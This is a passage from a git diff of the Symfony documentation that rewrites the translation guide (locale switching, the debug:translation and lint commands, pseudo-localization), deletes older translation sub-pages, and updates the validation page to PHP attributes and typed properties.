programmatically to 'fr' (French): + // this affects translation, URL generation, etc. + $this->localeSwitcher->setLocale('fr'); + + // reset the locale to the default one configured via the + // 'default_locale' option in config/packages/translation.yaml + $this->localeSwitcher->reset(); + + // run some code with a specific locale, temporarily, without + // changing the locale for the rest of the application + $this->localeSwitcher->runWithLocale('es', function() { + // e.g. render templates, send emails, etc. using the 'es' (Spanish) locale + }); + + // optionally, receive the current locale as an argument: + $this->localeSwitcher->runWithLocale('es', function(string $locale) { + + // here, the $locale argument will be set to 'es' + + }); + + // ... + } + } + +The ``LocaleSwitcher`` class changes the locale of: + +* All services tagged with ``kernel.locale_aware``; +* The default locale set via ``\Locale::setDefault()``; +* The ``_locale`` parameter of the ``RequestContext`` service (if available), + so generated URLs reflect the new locale. + +.. note:: + + The LocaleSwitcher applies the new locale only for the current request, + and its effect is lost on subsequent requests, such as after a redirect. -The translation of database content should be handled by Doctrine through -the `Translatable Extension`_ or the `Translatable Behavior`_ (PHP 5.4+). -For more information, see the documentation for these libraries. + See :ref:`how to make the locale persist across requests <locale-sticky-session>`. -Debugging Translations ----------------------- +When using :ref:`autowiring <services-autowire>`, type-hint any controller or +service argument with the :class:`Symfony\\Component\\Translation\\LocaleSwitcher` +class to inject the locale switcher service. Otherwise, configure your services +manually and inject the ``translation.locale_switcher`` service. -When you work with many translation messages in different languages, it can -be hard to keep track which translations are missing and which are not used -anymore. Read :doc:`/translation/debug` to find out how to identify these -messages. +.. _translation-debug: + +How to Find Missing or Unused Translation Messages +-------------------------------------------------- + +When you work with many translation messages in different languages, it can be +hard to keep track which translations are missing and which are not used +anymore. The ``debug:translation`` command helps you to find these missing or +unused translation messages templates: + +.. code-block:: twig + + {# messages can be found when using the trans filter and tag #} + {% trans %}Symfony is great{% endtrans %} + + {{ 'Symfony is great'|trans }} + +.. warning:: + + The extractors can't find messages translated outside templates (like form + labels or controllers) unless using :ref:`translatable objects + <translatable-objects>` or calling the ``trans()`` method on a translator + (since Symfony 5.3). Dynamic translations using variables or expressions in + templates are not detected either: + + .. code-block:: twig + + {# this translation uses a Twig variable, so it won't be detected #} + {% set message = 'Symfony is great' %} + {{ message|trans }} + +Suppose your application's default_locale is ``fr`` and you have configured +``en`` as the fallback locale (see :ref:`configuration +<translation-configuration>` and :ref:`fallback <translation-fallback>` for +how to configure these). And suppose you've already set up some translations +for the ``fr`` locale: + +.. configuration-block:: + + .. code-block:: xml + + <!-- translations/messages.fr.xlf --> + <?xml version="1.0" encoding="UTF-8" ?> + <xliff version="1.2" xmlns="urn:oasis:names:tc:xliff:document:1.2"> + <file source-language="en" datatype="plaintext" original="file.ext"> + <body> + <trans-unit id="1"> + <source>Symfony is great</source> + <target>Symfony est génial</target> + </trans-unit> + </body> + </file> + </xliff> + + .. code-block:: yaml + + # translations/messages.fr.yaml + Symfony is great: Symfony est génial + + .. code-block:: php + + // translations/messages.fr.php + return [ + 'Symfony is great' => 'Symfony est génial', + ]; + +and for the ``en`` locale: + +.. configuration-block:: + + .. code-block:: xml + + <!-- translations/messages.en.xlf --> + <?xml version="1.0" encoding="UTF-8" ?> + <xliff version="1.2" xmlns="urn:oasis:names:tc:xliff:document:1.2"> + <file source-language="en" datatype="plaintext" original="file.ext"> + <body> + <trans-unit id="1"> + <source>Symfony is great</source> + <target>Symfony is great</target> + </trans-unit> + </body> + </file> + </xliff> + + .. code-block:: yaml + + # translations/messages.en.yaml + Symfony is great: Symfony is great + + .. code-block:: php + + // translations/messages.en.php + return [ + 'Symfony is great' => 'Symfony is great', + ]; + +To inspect all messages in the ``fr`` locale for the application, run: + +.. code-block:: terminal + + $ php bin/console debug:translation fr + + --------- ------------------ ---------------------- ------------------------------- + State Id Message Preview (fr) Fallback Message Preview (en) + --------- ------------------ ---------------------- ------------------------------- + unused Symfony is great Symfony est génial Symfony is great + --------- ------------------ ---------------------- ------------------------------- + +It shows you a table with the result when translating the message in the ``fr`` +locale and the result when the fallback locale ``en`` would be used. On top +of that, it will also show you when the translation is the same as the fallback +translation (this could indicate that the message was not correctly translated). +Furthermore, it indicates that the message ``Symfony is great`` is unused +because it is translated, but you haven't used it anywhere yet. + +Now, if you translate the message in one of your templates, you will get this +output: + +.. code-block:: terminal + + $ php bin/console debug:translation fr + + --------- ------------------ ---------------------- ------------------------------- + State Id Message Preview (fr) Fallback Message Preview (en) + --------- ------------------ ---------------------- ------------------------------- + Symfony is great Symfony est génial Symfony is great + --------- ------------------ ---------------------- ------------------------------- + +The state is empty which means the message is translated in the ``fr`` locale +and used in one or more templates. + +If you delete the message ``Symfony is great`` from your translation file +for the ``fr`` locale and run the command, you will get: + +.. code-block:: terminal + + $ php bin/console debug:translation fr + + --------- ------------------ ---------------------- ------------------------------- + State Id Message Preview (fr) Fallback Message Preview (en) + --------- ------------------ ---------------------- ------------------------------- + missing Symfony is great Symfony is great Symfony is great + --------- ------------------ ---------------------- ------------------------------- + +The state indicates the message is missing because it is not translated in +the ``fr`` locale but it is still used in the template. Moreover, the message +in the ``fr`` locale equals to the message in the ``en`` locale. This is a +special case because the untranslated message id equals its translation in +the ``en`` locale. + +If you copy the content of the translation file in the ``en`` locale to the +translation file in the ``fr`` locale and run the command, you will get: + +.. code-block:: terminal + + $ php bin/console debug:translation fr + + ---------- ------------------ ---------------------- ------------------------------- + State Id Message Preview (fr) Fallback Message Preview (en) + ---------- ------------------ ---------------------- ------------------------------- + fallback Symfony is great Symfony is great Symfony is great + ---------- ------------------ ---------------------- ------------------------------- + +You can see that the translations of the message are identical in the ``fr`` +and ``en`` locales which means this message was probably copied from English +to French and maybe you forgot to translate it. + +By default, all domains are inspected, but it is possible to specify a single +domain: + +.. code-block:: terminal + + $ php bin/console debug:translation en --domain=messages + +When the application has a lot of messages, it is useful to display only the +unused or only the missing messages, by using the ``--only-unused`` or +``--only-missing`` options: + +.. code-block:: terminal + + $ php bin/console debug:translation en --only-unused + $ php bin/console debug:translation en --only-missing + +Debug Command Exit Codes +~~~~~~~~~~~~~~~~~~~~~~~~ + +The exit code of the ``debug:translation`` command changes depending on the +status of the translations. Use the following public constants to check it:: + + use Symfony\Bundle\FrameworkBundle\Command\TranslationDebugCommand; + + // generic failure (e.g. there are no translations) + TranslationDebugCommand::EXIT_CODE_GENERAL_ERROR; + + // there are missing translations + TranslationDebugCommand::EXIT_CODE_MISSING; + + // there are unused translations + TranslationDebugCommand::EXIT_CODE_UNUSED; + + // some translations are using the fallback translation + TranslationDebugCommand::EXIT_CODE_FALLBACK; + +These constants are defined as "bit masks", so you can combine them as follows:: + + if (TranslationDebugCommand::EXIT_CODE_MISSING | TranslationDebugCommand::EXIT_CODE_UNUSED) { + // ... there are missing and/or unused translations + } + +.. _translation-lint: + +How to Find Errors in Translation Files +--------------------------------------- + +Symfony processes all the application translation files as part of the process +that compiles the application code before executing it. If there's an error in +any translation file, you'll see an error message explaining the problem. + +If you prefer, you can also validate the syntax of any YAML and XLIFF +translation file using the ``lint:yaml`` and ``lint:xliff`` commands: + +.. code-block:: terminal + + # lint a single file + $ php bin/console lint:yaml translations/messages.en.yaml + $ php bin/console lint:xliff translations/messages.en.xlf + + # lint a whole directory + $ php bin/console lint:yaml translations + $ php bin/console lint:xliff translations + + # lint multiple files or directories + $ php bin/console lint:yaml translations path/to/trans + $ php bin/console lint:xliff translations/messages.en.xlf translations/messages.es.xlf + +The linter results can be exported to JSON using the ``--format`` option: + +.. code-block:: terminal + + $ php bin/console lint:yaml translations/ --format=json + $ php bin/console lint:xliff translations/ --format=json + +When running these linters inside `GitHub Actions`_, the output is automatically +adapted to the format required by GitHub, but you can force that format too: + +.. code-block:: terminal + + $ php bin/console lint:yaml translations/ --format=github + $ php bin/console lint:xliff translations/ --format=github + +.. tip:: + + The Yaml component provides a stand-alone ``yaml-lint`` binary allowing + you to lint YAML files without having to create a console application: + + .. code-block:: terminal + + $ php vendor/bin/yaml-lint translations/ + +The ``lint:yaml`` and ``lint:xliff`` commands validate the YAML and XML syntax +of the translation files, but not their contents. Use the following command +to check that the translation contents are also correct: + + .. code-block:: terminal + + # checks the contents of all the translation catalogues in all locales + $ php bin/console lint:translations + + # checks the contents of the translation catalogues for Italian (it) and Japanese (ja) locales + $ php bin/console lint:translations --locale=it --locale=ja + +.. versionadded:: 7.2 + + The ``lint:translations`` command was introduced in Symfony 7.2. + +Pseudo-localization translator +------------------------------ + +.. note:: + + The pseudolocalization translator is meant to be used for development only. + +The following image shows a typical menu on a webpage: + +.. image:: /_images/translation/pseudolocalization-interface-original.png + :alt: A menu showing multiple items nicely aligned next to eachother. + +This other image shows the same menu when the user switches the language to +Spanish. Unexpectedly, some text is cut and other contents are so long that +they overflow and you can't see them: + +.. image:: /_images/translation/pseudolocalization-interface-translated.png + :alt: In Spanish, some menu items contain more letters which result in them being cut. + +These kind of errors are very common, because different languages can be longer +or shorter than the original application language. Another common issue is to +only check if the application works when using basic accented letters, instead +of checking for more complex characters such as the ones found in Polish, +Czech, etc. + +These problems can be solved with `pseudolocalization`_, a software testing method +used for testing internationalization. In this method, instead of translating +the text of the software into a foreign language, the textual elements of an +application are replaced with an altered version of the original language. + +For example, ``Account Settings`` is *translated* as ``[!!! Àççôûñţ +Šéţţîñĝš !!!]``. First, the original text is expanded in length with characters +like ``[!!! !!!]`` to test the application when using languages more verbose +than the original one. This solves the first problem. + +In addition, the original characters are replaced by similar but accented +characters. This makes the text highly readable, while allowing to test the +application with all kinds of accented and special characters. This solves the +second problem. + +Full support for pseudolocalization was added to help you debug +internationalization issues in your applications. You can enable and configure +it in the translator configuration: + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/translation.yaml + framework: + translator: + pseudo_localization: + # replace characters by their accented version + accents: true + # wrap strings with brackets + brackets: true + # controls how many extra characters are added to make text longer + expansion_factor: 1.4 + # maintain the original HTML tags of the translated contents + parse_html: true + # also translate the contents of these HTML attributes + localizable_html_attributes: ['title'] + + .. code-block:: xml + + <!-- config/packages/translation.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:framework="http://symfony.com/schema/dic/symfony" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/symfony + https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> + + <framework:config> + <framework:translator> + <!-- accents: replace characters by their accented version --> + <!-- brackets: wrap strings with brackets --> + <!-- expansion_factor: controls how many extra characters are added to make text longer --> + <!-- parse_html: maintain the original HTML tags of the translated contents --> + <framework:pseudo-localization + accents="true" + brackets="true" + expansion_factor="1.4" + parse_html="true" + > + <!-- also translate the contents of these HTML attributes --> + <framework:localizable-html-attribute>title</framework:localizable-html-attribute> + </framework:pseudo-localization> + </framework:translator> + </framework:config> + </container> + + .. code-block:: php + + // config/packages/translation.php + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework) { + // ... + $framework + ->translator() + ->pseudoLocalization() + // replace characters by their accented version + ->accents(true) + // wrap strings with brackets + ->brackets(true) + // controls how many extra characters are added to make text longer + ->expansionFactor(1.4) + // maintain the original HTML tags of the translated contents + ->parseHtml(true) + // also translate the contents of these HTML attributes + ->localizableHtmlAttributes(['title']) + ; + }; + +That's all. The application will now start displaying those strange, but +readable, contents to help you internationalize it. See for example the +difference in the `Symfony Demo`_ application. This is the original page: + +.. image:: /_images/translation/pseudolocalization-symfony-demo-disabled.png + :alt: The Symfony demo login page. + :class: with-browser + +And this is the same page with pseudolocalization enabled: + +.. image:: /_images/translation/pseudolocalization-symfony-demo-enabled.png + :alt: The Symfony demo login page with pseudolocalization. + :class: with-browser Summary ------- @@ -606,16 +1674,29 @@ Learn more .. toctree:: :maxdepth: 1 - translation/message_format - translation/templates - translation/locale - translation/debug - translation/lint - translation/xliff + reference/formats/message_format + reference/formats/xliff .. _`i18n`: https://en.wikipedia.org/wiki/Internationalization_and_localization -.. _`ICU MessageFormat`: http://userguide.icu-project.org/formatparse/messages +.. _`ICU MessageFormat`: https://unicode-org.github.io/icu/userguide/format_parse/messages/ .. _`ISO 3166-1 alpha-2`: https://en.wikipedia.org/wiki/ISO_3166-1#Current_codes .. _`ISO 639-1`: https://en.wikipedia.org/wiki/List_of_ISO_639-1_codes -.. _`Translatable Extension`: http://atlantic18.github.io/DoctrineExtensions/doc/translatable.html -.. _`Translatable Behavior`: https://github.com/KnpLabs/DoctrineBehaviors +.. _`PHP intl extension`: https://php.net/book.intl +.. _`Translatable Extension`: https://github.com/doctrine-extensions/DoctrineExtensions/blob/main/doc/translatable.md +.. _`Custom Language Name setting`: https://docs.lokalise.com/en/articles/1400492-uploading-files#custom-language-codes +.. _`ICU resource bundle`: https://github.com/unicode-org/icu-docs/blob/main/design/bnf_rb.txt +.. _`Portable object format`: https://www.gnu.org/software/gettext/manual/html_node/PO-Files.html +.. _`Machine object format`: https://www.gnu.org/software/gettext/manual/html_node/MO-Files.html +.. _`QT Translations TS XML`: https://doc.qt.io/qt-5/linguist-ts-file-format.html +.. _`GitHub Actions`: https://docs.github.com/en/free-pro-team@latest/actions +.. _`pseudolocalization`: https://en.wikipedia.org/wiki/Pseudolocalization +.. _`Symfony Demo`: https://github.com/symfony/demo +.. _`Crowdin Language Codes`: https://developer.crowdin.com/language-codes +.. _`Custom Language Codes`: https://support.crowdin.com/project-settings/#languages +.. _`Identification via User-Agent`: https://developers.phrase.com/api/#overview--identification-via-user-agent +.. _`Phrase Tag Bundle`: https://github.com/wickedOne/phrase-tag-bundle +.. _`Crowdin`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Translation/Bridge/Crowdin/README.md +.. _`Loco (localise.biz)`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Translation/Bridge/Loco/README.md +.. _`Lokalise`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Translation/Bridge/Lokalise/README.md +.. _`Phrase`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Translation/Bridge/Phrase/README.md +.. _`AST`: https://en.wikipedia.org/wiki/Abstract_syntax_tree diff --git a/translation/debug.rst b/translation/debug.rst deleted file mode 100644 index 74e52783245..00000000000 --- a/translation/debug.rst +++ /dev/null @@ -1,212 +0,0 @@ -.. index:: - single: Translation; Debug - single: Translation; Missing Messages - single: Translation; Unused Messages - -How to Find Missing or Unused Translation Messages -================================================== - -When maintaining an application or bundle, you may add or remove translation -messages and forget to update the message catalogs. The ``debug:translation`` -command helps you to find these missing or unused translation messages templates: - -.. code-block:: twig - - {# messages can be found when using the trans filter and tag #} - {% trans %}Symfony is great{% endtrans %} - - {{ 'Symfony is great'|trans }} - -.. caution:: - - The extractors can't find messages translated outside templates, like form - labels or controllers. Dynamic translations using variables or expressions - in templates are not detected either: - - .. code-block:: twig - - {# this translation uses a Twig variable, so it won't be detected #} - {% set message = 'Symfony is great' %} - {{ message|trans }} - -Suppose your application's default_locale is ``fr`` and you have configured -``en`` as the fallback locale (see :ref:`translation-configuration` and -:ref:`translation-fallback` for how to configure these). And suppose -you've already setup some translations for the ``fr`` locale: - -.. configuration-block:: - - .. code-block:: xml - - <!-- translations/messages.fr.xlf --> - <?xml version="1.0"?> - <xliff version="1.2" xmlns="urn:oasis:names:tc:xliff:document:1.2"> - <file source-language="en" datatype="plaintext" original="file.ext"> - <body> - <trans-unit id="1"> - <source>Symfony is great</source> - <target>J'aime Symfony</target> - </trans-unit> - </body> - </file> - </xliff> - - .. code-block:: yaml - - # translations/messages.fr.yaml - Symfony is great: J'aime Symfony - - .. code-block:: php - - // translations/messages.fr.php - return [ - 'Symfony is great' => 'J\'aime Symfony', - ]; - -and for the ``en`` locale: - -.. configuration-block:: - - .. code-block:: xml - - <!-- translations/messages.en.xlf --> - <?xml version="1.0"?> - <xliff version="1.2" xmlns="urn:oasis:names:tc:xliff:document:1.2"> - <file source-language="en" datatype="plaintext" original="file.ext"> - <body> - <trans-unit id="1"> - <source>Symfony is great</source> - <target>Symfony is great</target> - </trans-unit> - </body> - </file> - </xliff> - - .. code-block:: yaml - - # translations/messages.en.yaml - Symfony is great: Symfony is great - - .. code-block:: php - - // translations/messages.en.php - return [ - 'Symfony is great' => 'Symfony is great', - ]; - -To inspect all messages in the ``fr`` locale for the application, run: - -.. code-block:: terminal - - $ php bin/console debug:translation fr - - --------- ------------------ ---------------------- ------------------------------- - State Id Message Preview (fr) Fallback Message Preview (en) - --------- ------------------ ---------------------- ------------------------------- - unused Symfony is great J'aime Symfony Symfony is great - --------- ------------------ ---------------------- ------------------------------- - -It shows you a table with the result when translating the message in the ``fr`` -locale and the result when the fallback locale ``en`` would be used. On top -of that, it will also show you when the translation is the same as the fallback -translation (this could indicate that the message was not correctly translated). -Furthermore, it indicates that the message ``Symfony is great`` is unused -because it is translated, but you haven't used it anywhere yet. - -Now, if you translate the message in one of your templates, you will get this -output: - -.. code-block:: terminal - - $ php bin/console debug:translation fr - - --------- ------------------ ---------------------- ------------------------------- - State Id Message Preview (fr) Fallback Message Preview (en) - --------- ------------------ ---------------------- ------------------------------- - Symfony is great J'aime Symfony Symfony is great - --------- ------------------ ---------------------- ------------------------------- - -The state is empty which means the message is translated in the ``fr`` locale -and used in one or more templates. - -If you delete the message ``Symfony is great`` from your translation file -for the ``fr`` locale and run the command, you will get: - -.. code-block:: terminal - - $ php bin/console debug:translation fr - - --------- ------------------ ---------------------- ------------------------------- - State Id Message Preview (fr) Fallback Message Preview (en) - --------- ------------------ ---------------------- ------------------------------- - missing Symfony is great Symfony is great Symfony is great - --------- ------------------ ---------------------- ------------------------------- - -The state indicates the message is missing because it is not translated in -the ``fr`` locale but it is still used in the template. Moreover, the message -in the ``fr`` locale equals to the message in the ``en`` locale. This is a -special case because the untranslated message id equals its translation in -the ``en`` locale. - -If you copy the content of the translation file in the ``en`` locale to the -translation file in the ``fr`` locale and run the command, you will get: - -.. code-block:: terminal - - $ php bin/console debug:translation fr - - ---------- ------------------ ---------------------- ------------------------------- - State Id Message Preview (fr) Fallback Message Preview (en) - ---------- ------------------ ---------------------- ------------------------------- - fallback Symfony is great Symfony is great Symfony is great - ---------- ------------------ ---------------------- ------------------------------- - -You can see that the translations of the message are identical in the ``fr`` -and ``en`` locales which means this message was probably copied from English -to French and maybe you forgot to translate it. - -By default, all domains are inspected, but it is possible to specify a single -domain: - -.. code-block:: terminal - - $ php bin/console debug:translation en --domain=messages - -When the application has a lot of messages, it is useful to display only the -unused or only the missing messages, by using the ``--only-unused`` or -``--only-missing`` options: - -.. code-block:: terminal - - $ php bin/console debug:translation en --only-unused - $ php bin/console debug:translation en --only-missing - -Debug Command Exit Codes ------------------------- - -The exit code of the ``debug:translation`` command changes depending on the -status of the translations. Use the following public constants to check it:: - - use Symfony\Bundle\FrameworkBundle\Command\TranslationDebugCommand; - - // generic failure (e.g. there are no translations) - TranslationDebugCommand::EXIT_CODE_GENERAL_ERROR; - - // there are missing translations - TranslationDebugCommand::EXIT_CODE_MISSING; - - // there are unused translations - TranslationDebugCommand::EXIT_CODE_UNUSED; - - // some translations are using the fallback translation - TranslationDebugCommand::EXIT_CODE_FALLBACK; - -These constants are defined as "bit masks", so you can combine them as follows:: - - if (TranslationDebugCommand::EXIT_CODE_MISSING | TranslationDebugCommand::EXIT_CODE_UNUSED) { - // ... there are missing and/or unused translations - } - -.. versionadded:: 5.1 - - The exit codes were introduced in Symfony 5.1 diff --git a/translation/lint.rst b/translation/lint.rst deleted file mode 100644 index d9129a79108..00000000000 --- a/translation/lint.rst +++ /dev/null @@ -1,47 +0,0 @@ -.. index:: - single: Translation; Lint - single: Translation; Translation File Errors - -How to Find Errors in Translation Files -======================================= - -Symfony processes all the application translation files as part of the process -that compiles the application code before executing it. If there's an error in -any translation file, you'll see an error message explaining the problem. - -If you prefer, you can also validate the contents of any YAML and XLIFF -translation file using the ``lint:yaml`` and ``lint:xliff`` commands: - -.. code-block:: terminal - - # lint a single file - $ php bin/console lint:yaml translations/messages.en.yaml - $ php bin/console lint:xliff translations/messages.en.xlf - - # lint a whole directory - $ php bin/console lint:yaml translations - $ php bin/console lint:xliff translations - - # lint multiple files or directories - $ php bin/console lint:yaml translations path/to/trans - $ php bin/console lint:xliff translations/messages.en.xlf translations/messages.es.xlf - -The linter results can be exported to JSON using the ``--format`` option: - -.. code-block:: terminal - - $ php bin/console lint:yaml translations/ --format=json - $ php bin/console lint:xliff translations/ --format=json - -.. tip:: - - The Yaml component provides a stand-alone ``yaml-lint`` binary allowing - you to lint YAML files without having to create a console application: - - .. code-block:: terminal - - $ php vendor/bin/yaml-lint translations/ - - .. versionadded:: 5.1 - - The ``yaml-lint`` binary was introduced in Symfony 5.1. diff --git a/translation/locale.rst b/translation/locale.rst deleted file mode 100644 index 87f973a146a..00000000000 --- a/translation/locale.rst +++ /dev/null @@ -1,182 +0,0 @@ -.. index:: - single: Translation; Locale - -How to Work with the User's Locale -================================== - -The locale of the current user is stored in the request and is accessible -via the ``Request`` object:: - - use Symfony\Component\HttpFoundation\Request; - - public function index(Request $request) - { - $locale = $request->getLocale(); - } - -To set the user's locale, you may want to create a custom event listener so -that it's set before any other parts of the system (i.e. the translator) need -it:: - - public function onKernelRequest(RequestEvent $event) - { - $request = $event->getRequest(); - - // some logic to determine the $locale - $request->setLocale($locale); - } - -.. note:: - - The custom listener must be called **before** ``LocaleListener``, which - initializes the locale based on the current request. To do so, set your - listener priority to a higher value than ``LocaleListener`` priority (which - you can obtain running the ``debug:event kernel.request`` command). - -Read :doc:`/session/locale_sticky_session` for more information on making -the user's locale "sticky" to their session. - -.. note:: - - Setting the locale using ``$request->setLocale()`` in the controller is - too late to affect the translator. Either set the locale via a listener - (like above), the URL (see next) or call ``setLocale()`` directly on the - ``translator`` service. - -See the :ref:`translation-locale-url` section below about setting the -locale via routing. - -.. _translation-locale-url: - -The Locale and the URL ----------------------- - -Since you can store the locale of the user in the session, it may be tempting -to use the same URL to display a resource in different languages based on -the user's locale. For example, ``http://www.example.com/contact`` could show -content in English for one user and French for another user. Unfortunately, -this violates a fundamental rule of the Web: that a particular URL returns -the same resource regardless of the user. To further muddy the problem, which -version of the content would be indexed by search engines? - -A better policy is to include the locale in the URL using the -:ref:`special _locale parameter <routing-locale-parameter>`: - -.. configuration-block:: - - .. code-block:: php-annotations - - // src/Controller/ContactController.php - namespace App\Controller; - - // ... - class ContactController extends AbstractController - { - /** - * @Route( - * "/{_locale}/contact", - * name="contact", - * requirements={ - * "_locale": "en|fr|de", - * } - * ) - */ - public function contact() - { - } - } - - .. code-block:: yaml - - # config/routes.yaml - contact: - path: /{_locale}/contact - controller: App\Controller\ContactController::index - requirements: - _locale: en|fr|de - - .. code-block:: xml - - <!-- config/routes.xml --> - <?xml version="1.0" encoding="UTF-8" ?> - <routes xmlns="http://symfony.com/schema/routing" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xsi:schemaLocation="http://symfony.com/schema/routing - https://symfony.com/schema/routing/routing-1.0.xsd"> - - <route id="contact" path="/{_locale}/contact"> - controller="App\Controller\ContactController::index"> - <requirement key="_locale">en|fr|de</requirement> - </route> - </routes> - - .. code-block:: php - - // config/routes.php - use App\Controller\ContactController; - use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator; - - return function (RoutingConfigurator $routes) { - $routes->add('contact', '/{_locale}/contact') - ->controller([ContactController::class, 'index']) - ->requirements([ - '_locale' => 'en|fr|de', - ]) - ; - }; - -When using the special ``_locale`` parameter in a route, the matched locale -is *automatically set on the Request* and can be retrieved via the -:method:`Symfony\\Component\\HttpFoundation\\Request::getLocale` method. In -other words, if a user visits the URI ``/fr/contact``, the locale ``fr`` will -automatically be set as the locale for the current request. - -You can now use the locale to create routes to other translated pages in your -application. - -.. tip:: - - Define the locale requirement as a :ref:`container parameter <configuration-parameters>` - to avoid hardcoding its value in all your routes. - -.. index:: - single: Translations; Fallback and default locale - -.. _translation-default-locale: - -Setting a Default Locale ------------------------- - -What if the user's locale hasn't been determined? You can guarantee that a -locale is set on each user's request by defining a ``default_locale`` for -the framework: - -.. configuration-block:: - - .. code-block:: yaml - - # config/packages/translation.yaml - framework: - default_locale: en - - .. code-block:: xml - - <!-- config/packages/translation.xml --> - <?xml version="1.0" encoding="UTF-8" ?> - <container xmlns="http://symfony.com/schema/dic/services" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xmlns:framework="http://symfony.com/schema/dic/symfony" - xsi:schemaLocation="http://symfony.com/schema/dic/services - https://symfony.com/schema/dic/services/services-1.0.xsd - http://symfony.com/schema/dic/symfony - https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> - - <framework:config default-locale="en"/> - </container> - - .. code-block:: php - - // config/packages/translation.php - $container->loadFromExtension('framework', [ - 'default_locale' => 'en', - ]); diff --git a/translation/templates.rst b/translation/templates.rst deleted file mode 100644 index b820bfb0fba..00000000000 --- a/translation/templates.rst +++ /dev/null @@ -1,89 +0,0 @@ -Using Translation in Templates -============================== - -Twig Templates --------------- - -.. _translation-tags: - -Using Twig Tags -~~~~~~~~~~~~~~~ - -Symfony provides a specialized Twig tag ``trans`` to help with message -translation of *static blocks of text*: - -.. code-block:: twig - - {% trans %}Hello %name%{% endtrans %} - -.. caution:: - - The ``%var%`` notation of placeholders is required when translating in - Twig templates using the tag. - -.. tip:: - - If you need to use the percent character (``%``) in a string, escape it by - doubling it: ``{% trans %}Percent: %percent%%%{% endtrans %}`` - -You can also specify the message domain and pass some additional variables: - -.. code-block:: twig - - {% trans with {'%name%': 'Fabien'} from 'app' %}Hello %name%{% endtrans %} - - {% trans with {'%name%': 'Fabien'} from 'app' into 'fr' %}Hello %name%{% endtrans %} - -.. _translation-filters: - -Using Twig Filters -~~~~~~~~~~~~~~~~~~ - -The ``trans`` filter can be used to translate *variable texts* and complex expressions: - -.. code-block:: twig - - {{ message|trans }} - - {{ message|trans({'%name%': 'Fabien'}, 'app') }} - -.. tip:: - - Using the translation tags or filters have the same effect, but with - one subtle difference: automatic output escaping is only applied to - translations using a filter. In other words, if you need to be sure - that your translated message is *not* output escaped, you must apply - the ``raw`` filter after the translation filter: - - .. code-block:: html+twig - - {# text translated between tags is never escaped #} - {% trans %} - <h3>foo</h3> - {% endtrans %} - - {% set message = '<h3>foo</h3>' %} - - {# strings and variables translated via a filter are escaped by default #} - {{ message|trans|raw }} - {{ '<h3>bar</h3>'|trans|raw }} - -.. tip:: - - You can set the translation domain for an entire Twig template with a single tag: - - .. code-block:: twig - - {% trans_default_domain 'app' %} - - Note that this only influences the current template, not any "included" - template (in order to avoid side effects). - -PHP Templates -------------- - -The translator service is accessible in PHP templates through the -``translator`` helper:: - - <?= $view['translator']->trans('Symfony is great') ?> - diff --git a/validation.rst b/validation.rst index 837514f55c5..cfa8154b627 100644 --- a/validation.rst +++ b/validation.rst @@ -1,6 +1,3 @@ -.. index:: - single: Validation - Validation ========== @@ -19,10 +16,13 @@ install the validator before using it: .. code-block:: terminal - $ composer require symfony/validator doctrine/annotations + $ composer require symfony/validator + +.. note:: -.. index:: - single: Validation; The basics + If your application doesn't use Symfony Flex, you might need to do some + manual configuration to enable validation. Check out the + :ref:`Validation configuration reference <reference-validation>`. The Basics of Validation ------------------------ @@ -36,7 +36,7 @@ your application:: class Author { - private $name; + private string $name; } So far, this is an ordinary class that serves some purpose inside your @@ -44,15 +44,15 @@ application. The goal of validation is to tell you if the data of an object is valid. For this to work, you'll configure a list of rules (called :ref:`constraints <validation-constraints>`) that the object must follow in order to be valid. These rules are usually defined using PHP code or -annotations but they can also be defined as ``.yaml`` or ``.xml`` files inside +attributes but they can also be defined as ``.yaml`` or ``.xml`` files inside the ``config/validator/`` directory: -For example, to guarantee that the ``$name`` property is not empty, add the +For example, to indicate that the ``$name`` property must not be empty, add the following: .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/Author.php namespace App\Entity; @@ -62,10 +62,8 @@ following: class Author { - /** - * @Assert\NotBlank - */ - private $name; + #[Assert\NotBlank] + private string $name; } .. code-block:: yaml @@ -102,23 +100,25 @@ following: class Author { - private $name; + private string $name; - public static function loadValidatorMetadata(ClassMetadata $metadata) + public static function loadValidatorMetadata(ClassMetadata $metadata): void { $metadata->addPropertyConstraint('name', new NotBlank()); } } +Adding this configuration by itself does not yet guarantee that the value will +not be blank; you can still set it to a blank value if you want. +To actually guarantee that the value adheres to the constraint, the object must +be passed to the validator service to be checked. + .. tip:: Symfony's validator uses PHP reflection, as well as *"getter"* methods, to get the value of any property, so they can be public, private or protected (see :ref:`validator-constraint-targets`). -.. index:: - single: Validation; Using the validator - Using the Validator Service ~~~~~~~~~~~~~~~~~~~~~~~~~~~ @@ -136,7 +136,7 @@ returned. Take this simple example from inside a controller:: use Symfony\Component\Validator\Validator\ValidatorInterface; // ... - public function author(ValidatorInterface $validator) + public function author(ValidatorInterface $validator): Response { $author = new Author(); @@ -164,7 +164,7 @@ message: .. code-block:: text Object(App\Entity\Author).name: - This value should not be blank + This value should not be blank. If you insert a value into the ``name`` property, the happy success message will appear. @@ -199,94 +199,23 @@ Inside the template, you can output the list of errors exactly as needed: .. note:: Each validation error (called a "constraint violation"), is represented by - a :class:`Symfony\\Component\\Validator\\ConstraintViolation` object. - -.. index:: - pair: Validation; Configuration - -Configuration -------------- + a :class:`Symfony\\Component\\Validator\\ConstraintViolation` object. This + object allows you, among other things, to get the constraint that caused this + violation thanks to the ``ConstraintViolation::getConstraint()`` method. -Before using the Symfony validator, make sure it's enabled in the main config -file: +Validation Callables +~~~~~~~~~~~~~~~~~~~~ -.. configuration-block:: - - .. code-block:: yaml - - # config/packages/framework.yaml - framework: - validation: { enabled: true } +The ``Validation`` also allows you to 